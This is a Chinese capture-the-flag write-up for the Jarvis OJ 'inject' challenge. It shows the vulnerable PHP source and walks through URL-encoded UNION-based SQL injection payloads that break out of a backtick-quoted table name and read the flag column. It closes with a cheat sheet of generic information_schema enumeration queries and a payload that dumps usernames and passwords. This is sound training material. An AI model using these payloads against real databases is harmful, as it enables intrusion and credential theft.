Jarvis OJ inject

admin 2024年4月3日09:24:34评论4 views字数 1648阅读5分29秒阅读模式

http://web.jarvisoj.com:32794/index.php~

得到源码

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

?table=flag 正常响应
==> 存在 secret_flag 表
注意到这个反引号 ``,其作用是区分 MySQL 保留字与普通字符

本地尝试

create table desc  # 报错
create table `desc` # 能成功执行

desc `abc` `def`
desc abc def
# 效果是一样的

结合题目 ==> desc `secret_flag` `
(注意空格,此处如果是 desc `secret_flag`` 将被认为是执行 desc secret_flag`)

顺手执行

?table=flag`%20`%20union%20select%201

发现还是没有变化,依旧显示 flag{xxx}
不要灰心,这只显示了一条数据而已,加入 limit 试试

?table=flag`%20`%20union%20select%201%20limit%201,1

==> 1

查询字段

?table=flag`%20`%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20
where%20table_name=0x7365637265745f666c6167%20limit%201,1

==> flagUwillNeverKnow
(如果 被过滤,此处 table_name 的值要进行 hex 编码)

查询数据

table=flag`%20`%20union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1

PS:也可以不用 limit,直接 where 0,使得前面的查询为空,则直接显示我们的数据
table=flag%20%20where%200%20union%20select%20flagUwillNeverKnow%20from%20secret_flag

补充知识

information_schema 存储数据库信息的数据库

数据库名

schemata => schema_name

tables => table_schema

columns => table_schema

表名

tables => table_name

columns => table_name

列名

columns => columns_name

-- 获取当前数据库中所有表
select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

-- 获得所有列名(字段)
select 1,group_concat(column_name) from information_schema.columns where table_name="flag";

-- 下载数据
-1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

-- 获取表中的字段名
-1union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

- By:wywwzjj.top

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月3日09:24:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jarvis OJ injecthttps://cn-sec.com/archives/2624276.html

发表评论

匿名网友 填写信息